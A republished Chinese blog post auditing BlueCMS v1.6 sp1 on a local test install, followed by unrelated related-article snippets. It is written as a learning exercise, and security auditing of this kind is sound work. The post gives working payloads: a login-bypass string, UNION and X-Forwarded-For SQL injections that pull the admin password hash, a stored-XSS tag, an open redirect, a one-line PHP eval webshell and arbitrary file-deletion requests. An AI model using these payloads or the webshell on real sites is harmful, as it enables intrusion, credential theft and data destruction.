bluecms 代码审计

news2024/11/13 4:26:05

一 环境准备

BlueCMS v1.6 sp1

phpstudy  php5.6.9+apache+mysql

二 环境搭建

phpstudy+

1.把下好的BlueCMS源码文件bluecms_src放到phpStudyWWW目录下

2.访问本地:http://localhost/bluecms_src/, 能看到项目文件

3.访问地址:http://localhost/bluecms_src/uploads/install/ 就会进入到安装界面,按照提示配置好参数,注意数据库用户名和密码要与mysql匹配

4.再访问:http://localhost/bluecms_src/uploads/,可以看到已经安装好了

三 黑盒测试

1.登入框存在万能密码

%df’) or 1=1#

2.数据库备份文件爆破

系统设置处

访问路径localhost/bluecms_src/uploads/data/backup/20240131.sql

直接下载了sql文件

里面也有很多敏感信息,管理员账号密码邮箱

四 白盒审计

1.SQL注入

ok我们先拿seay源来漏扫一下

无敌多

我们先看一下 ad_js.php 文件

 

 getone() 是自定义的查询数据库的函数,跟进一下,可以看到插入到数据库查询语句中的 $ad_id 除了 trim 去掉两边空格没有任何的过滤,

因而导致了数字型SQL注入,虽然 ad_js.php 还包含了 common.inc.php 文件,common.inc.php 进行了 addslashes($_GET) 转义,但是由于SQL语句中的变量没有使用单引号保护,addslashes 也同时失去了作用

我们直接上手

http://localhost/bluecms_src/uploads/ad_js.php?ad_id=-1%20order%20by%208

由此我们可以发现列数是7

下面我们要找回显点

/localhost/bluecms_src/uploads/ad_js.php?ad_id=-1%20union%20select%201,2,3,4,5,6,7

 根据查看源代码 我们可以发现回显点在最后

那来看一下当前数据库

localhost/bluecms_src/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,database();

查看表

/localhost/bluecms_src/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

2.INSERT型sql注入

guest_book.php77行处

这里有个$online_ip, 我们跟踪一下

// include/common.fun.php文件106行处
function getip()
{
   if (getenv('HTTP_CLIENT_IP'))
   {
      $ip = getenv('HTTP_CLIENT_IP'); 
   }
   elseif (getenv('HTTP_X_FORWARDED_FOR')) 
   { 
      $ip = getenv('HTTP_X_FORWARDED_FOR');
   }
   elseif (getenv('HTTP_X_FORWARDED')) 
   { 
      $ip = getenv('HTTP_X_FORWARDED');
   }
   elseif (getenv('HTTP_FORWARDED_FOR'))
   {
      $ip = getenv('HTTP_FORWARDED_FOR'); 
   }
   elseif (getenv('HTTP_FORWARDED'))
   {
      $ip = getenv('HTTP_FORWARDED');
   }
   else
   { 
      $ip = $_SERVER['REMOTE_ADDR'];
   }
   return $ip;
}

要构造http头,加个X-FORWARDED-FOR 

3.XFF头注入、伪造ip 

看一下 /uploads/include/common.fun.php 代码

/**
  * 获取用户IP
*/
function getip(){
    if (getenv('HTTP_CLIENT_IP')){
        $ip = getenv('HTTP_CLIENT_IP'); 
    }elseif (getenv('HTTP_X_FORWARDED_FOR')) { 
        //获取客户端用代理服务器访问时的真实ip 地址
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }elseif (getenv('HTTP_X_FORWARDED')) { 
        $ip = getenv('HTTP_X_FORWARDED');
    }elseif (getenv('HTTP_FORWARDED_FOR')){
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }elseif (getenv('HTTP_FORWARDED')){
        $ip = getenv('HTTP_FORWARDED');
    }else{ 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}                

$ip 的值从 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等变量中获得,HTTP_CLIENT_IP 这个环境变量没有成标准,很多服务器没法获取。

而第二个 HTTP_X_FORWARDED_FOR 可以通过 HTTP 请求头来修改 

seay源全局搜索getip

可以发现 除了函数定义以外一共有两处

来看下comment.php

getip() 获取到的 $ip,直接插入到了SQL语句中,没有过滤就执行了,这里是存在SQL注入的。 

从 comment.php 代码可以推断出,SQL注入出现在对文章进行评论的地方。在模拟发布文章时出现一点问题,发布文章时一定选择新闻分类,但是管理员和普通用户都不能创建分类,只好先把限制分类不能为空的代码注释掉。

首页->会员中心->本地新闻->发布新闻

先评论测试一下,看一下数据表记录的字段默认值 

回显位置在 content 字段,所以可以构造 X-Forwarded-For 值注入,

先补充前一次查询的 ip 和 is_check 字段完成第一次插入,再构造第二次插入,同时要注意闭合原本语句中的单引号。

评论时进行抓包改包,可以看到成功注入并且在评论列表有回显,查到数据库是 bluecms,直接查一下管理员用户名及密码哈希值也可以成功获取。 

如此执行的话  完整 sql 语句是,显然这里的 ip 字段也可以控制,可以在注入的同时达到伪造 ip 的效果

$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
  VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";

4.XFF头注入2 

getip() 函数出现的另一处 common.inc.php

getip() 赋值给变量 $online_ip,再全局搜索这个变量,发现在留言板界面变量也是没有经过过滤,直接插入查询语句,存在SQL注入 

那么我们来全局搜索一下$online_ip

我们进行留言测试时发现无论是否留言都会弹出留言内容不能为空

我们要在前端guest_book.htm注释这段代码

因为显然回显位置在 content 字段,所以构造一次插入语句就可以了,可以看到成功注出数据库

X-Forwarded-For: 1',database())-- -

5.宽字节注入 

我们可以看到common.inc.php 数据库编码使用的是 gb2312,这有可能导致宽字节注入

找到管理员登录的 bluecms_v1.6_sp1\uploads\admin\login.php,发现验证用户账号密码的函数为 check_admin 

 在 bluecms_v1.6_sp1\uploads\admin\include\common.fun.php 文件中找到了 check_admin 函数定义,SQL语句变量使用单引号保护,

并且 login.php 还包含了 bluecms_v1.6_sp1\uploads\admin\include\common.inc.php,这里是将 $_POST 数据进行 addslashes 转义的,刚好可以利用 %df 让转义的反斜线失去作用 

因为在浏览器输入 %df 会被 urlencode,所以应该抓包发送 

我们看到已经登录成功了

6.存储型XSS

在 user.php 文件,用户发布新闻功能,发现 content 没有使用 htmlspecialchars() 函数,而是 filter_data()

那我们来找一下定义函数

function filter_data($str)
{
	$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
	return $str;
}

 我们在 /uploads/include/common.fun.php 找到函数定义代码,发现只过滤了 script,iframe,frame,meta,link 等,这里可以用 a,img 等标签绕过

<img src=1 onerror=alert('ooii')>

7.任意URL跳转

在 user.php 中,很明显 $act == 'do_login' 是登录功能,看到有一个 $from 变量,再结合登录成功后显示回到该变量指向参数,可以猜测这个 $from 保存来源 url,方便用户登陆后回到原来浏览的页面

奇怪的是,这里还进行了base64解码。

那么我们可以尝试利用一下

将 http://www.baidu.com 编码为 aHR0cDovL3d3dy5iYWlkdS5jb20= 改包放包后可以看到页面成功跳转到百度 

8.文件包含 

user.php 的支付功能,可以通过 $_POST['pay'] 控制文件包含的路径,但是后面拼接了 /index.php

$_POST['pay']并没有做多余的安全检测,而是直接进行拼接,但是后面有index.php文件,所以我们的重点是如何截断。如果php版本低于5.3.4magic_quotes_gpc=off则可以使用%00截断。还可以使用系统文件路径长度限制来进行截断。

<?php @eval($_POST['a']);?> 

上传成功 我们可以看下上传的路径

9.任意文件删除

user.php 的编辑个人资料功能,直接调用 unlink 函数删除 $_POST['face_pic3'],没有进行相应的检查,存在任意文件删除漏洞 

发现成功删除头像了

10.任意文件删除2

在代码审计中我们可以看到有这个报告

unlink删除文件,传入$id,先删除数据库里的,然后判断本地有没有此文件,如果有,unlink函数也对其进行删除 

http://localhost/bluecms_src/uploads/publish.php?act=del_pic&id=wy.txt

五 总结

第一次进行代码审计 ,参考的文章比较多

我觉得工具只能起到辅助作用 主要自己要花时间研究

发现一些问题时回溯变量,或者直接挖掘功能点的漏洞

这里碰到的洞也不是那么高大上,基本都是一些比较基本的洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1423160.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决:ModuleNotFoundError: No module named ‘tiktoken’

解决&#xff1a;ModuleNotFoundError: No module named ‘tiktoken’ 文章目录 解决&#xff1a;ModuleNotFoundError: No module named tiktoken背景报错问题报错翻译报错位置代码报错原因解决方法方法一&#xff0c;直接安装方法二&#xff0c;手动下载安装方法三&#xff0…

C++进阶(八)红黑树

&#x1f4d8;北尘_&#xff1a;个人主页 &#x1f30e;个人专栏:《Linux操作系统》《经典算法试题 》《C》 《数据结构与算法》 ☀️走在路上&#xff0c;不忘来时的初心 文章目录 一、红黑树的概念二、红黑树的性质三、红黑树结构四、红黑树的插入操作1、情况一2、情况二3、…

Windows 10中哪些文件或文件夹可以删除,哪些不可以?看了这篇就大彻大悟了

在清理计算机上的存储空间后,我们经常深入研究几个系统生成的文件,除了包含我们数据的常规文件和文件夹。如果你甚至错误地删除了文档、视频、音频文件或图像,你仍然可以恢复它。而且,它不会对你的操作系统产生任何影响。 然而,如果你不小心删除了一个错误的系统相关文件…

【RuoYi-Vue-Plus学习】项目初始化时将sql导入数据库出现Finished with error解决方法之一

将sql导入数据库出现Finished with error&#xff0c;文末是最终解决方法。 问题描述&#xff1a;sql导入出现Finished with error 解决方法探索过程&#xff1a; 1&#xff09;参考链接2和3&#xff0c;在mysql的bin目录下输入以下指令连接数据库 mysql -h localhost -u ro…

2024西湖论剑misc方向wp

每年的misc都是最无聊坐牢的 数据安全-easy_tables import pandas as pd import hashlib from datetime import datetimeusers_df pd.read_csv(users.csv) permissions_df pd.read_csv(permissions.csv) tables_df pd.read_csv(tables.csv) actionlog_df pd.read_csv(acti…

一段比较简单的人工智能自动做模型的程序

一段比较简单的人工智能自动做模型的程序 一、人工智能自动做模型的程序通常包括以下几个步骤&#xff1a;二、人工智能自动做模型的程序示例&#xff1a;三、这只是一个简单的示例&#xff0c;实际应用中可能需要更复杂的数据预处理、特征工程、模型调参等步骤。但这个示例程序…

智能指针——浅析

智能指针 本人不才&#xff0c;只能将智能指针介绍一下&#xff0c;无法结合线程进行深入探索 介绍及作用 在异常产生进行跳转时&#xff0c;通过栈帧回收进行内存释放&#xff0c;防止内存泄漏 基于RAII思想可以创建出只能指针 RAII(Resource Acquisition Is Initializatio…

HTML标签 - 1

文章目录 HTML标签简介HTML书写规范常见网页制作软件常用标签结构标签排版标签标题标签容器标签字体标签文本格式化标签列表标签图片标签 HTML标签 简介 一门使用标记标签来描述网页&#xff0c;展示信息给用户的语言。 超文本标记语言&#xff08;Hyper Text Markup Langua…

力扣hot100 数据流的中位数 大小根堆

Problem: 295. 数据流的中位数 文章目录 思路复杂度&#x1f496; Code 思路 &#x1f468;‍&#x1f3eb; 参考 大根堆维护较小值&#xff08;堆顶即中位数&#xff09;&#xff0c;小根堆维护较大值&#xff08;堆顶可能是中位数之一&#xff09;维护小堆长度较长&#x…

响应式Web开发项目教程(HTML5+CSS3+Bootstrap)第2版 例5-6 绘制几何图形

代码 <!doctype html> <html> <head> <meta charset"utf-8"> <title>绘制几何图形</title> </head><body><canvas id"canvas" width"250" height"150" style"border: 1px b…

【数据结构 01】栈

一、原理 栈通常从数据结构和内存空间两个角度解释&#xff0c;从数据结构的角度&#xff0c;栈是一种线性结构表&#xff0c;只允许在固定的一端进行插入和删除元素&#xff0c;从内存空间角度&#xff0c;操作系统为函数和变量分配的内存空间通常在栈区&#xff0c;但是无论…

【AI绘画】stable diffusion原理解读,通俗易懂,直接喂到你嘴里!!!

手把手教你入门绘图超强的AI绘画&#xff0c;用户只需要输入一段图片的文字描述&#xff0c;即可生成精美的绘画。给大家带来了全新保姆级教程资料包 &#xff08;文末可获取&#xff09; 文章目录 一、前言&#xff08;可跳过&#xff09;二、stable diffusion 1.clip2.diffus…

设计模式之框架源码剖析(实战+图解)

Java设计模式 1&#xff0c;概述 随着软件开发人员人数的增多&#xff0c;一些公司急需一些高端人才。作为一个高端人才&#xff0c;设计面向对象软件是必不可少的能力&#xff0c;而软件设计是需要很深的功力&#xff0c;设计模式就要求你必须掌握。 2&#xff0c;本章特色…

Spring结合工厂模式

学习设计模式&#xff0c;不要进入一个误区生搬硬套&#xff0c;它是一种编程思想&#xff0c;结合实际使用&#xff0c;往往设计模式是混合使用的 工厂模式 核心本质&#xff1a;使用工厂统一管理对象的创建&#xff0c;将调用者跟实现类解耦 我这里使用Spring容器的支持&am…

【C项目】顺序表

简介&#xff1a;本系列博客为C项目系列内容&#xff0c;通过代码来具体实现某个经典简单项目 适宜人群&#xff1a;已大体了解C语法同学 作者留言&#xff1a;本博客相关内容如需转载请注明出处&#xff0c;本人学疏才浅&#xff0c;难免存在些许错误&#xff0c;望留言指正 作…

k8s的operator基石:controller-runtime源码解析

写在之前 今天开始开更controller-runtime的源码阅读&#xff0c;笔者建议大家在阅读前了解以下知识&#xff0c;可能会帮助大家更好的理解源码逻辑。 1.client-go的基础使用 2. 使用kubebuilder搭建一个简单的controller-runtime环境 3.informer的基本思想 1.源码环境搭建 参…

UE5/UE4中3D汉字字体文字的创建与实现

本案例工程下载位置&#xff1a;https://mbd.pub/o/bread/ZZqVmJ9v 在虚幻引擎5&#xff08;UE5&#xff09;和虚幻引擎4&#xff08;UE4&#xff09;中&#xff0c;实现3D汉字字体的创建是一项常见的需求。 本文将详细介绍两种有效的方法&#xff1a; 1.通过TextRender配合Of…

【javase】——类和对象

莫道桑榆晚&#xff0c;为霞尚满天。文章目录 面向对象的初步认识面向对象与面向过程什么是面向对象 类的定义和使用类的定义格式 类的实例化什么是实例化类和对象的使用 this引用什么是this引用this 引用的特性。 对象的构造以及初始化如何初始化对象构造方法首先第一&#xf…

Win10如何开启适用于 Linux 的 Windows 子系统WSL

环境&#xff1a; Win10专业版19041 问题描述&#xff1a; Win10如何开启适用于 Linux 的 Windows 子系统 什么是适用于 Linux 的 Windows 子系统 (WSL)&#xff1f;适用于 Linux 的 Windows 子系统 (WSL) 是 Windows 操作系统的一项功能&#xff0c;通过它可以直接在 Wind…

常用芯片学习——ULIN2803芯片

ULIN2803 高压大电流达林顿晶体管阵列 使用说明 ULN2803为高压大电流达林顿晶体管阵列&#xff0c;每个阵列包含7 个集电极开路共发射极对。每对的额定电流为500mA。抑制包括用于感性负载驱动的二极管&#xff0c;输入和输出是相反的。这些器件能够驱动宽范围的负载范围&…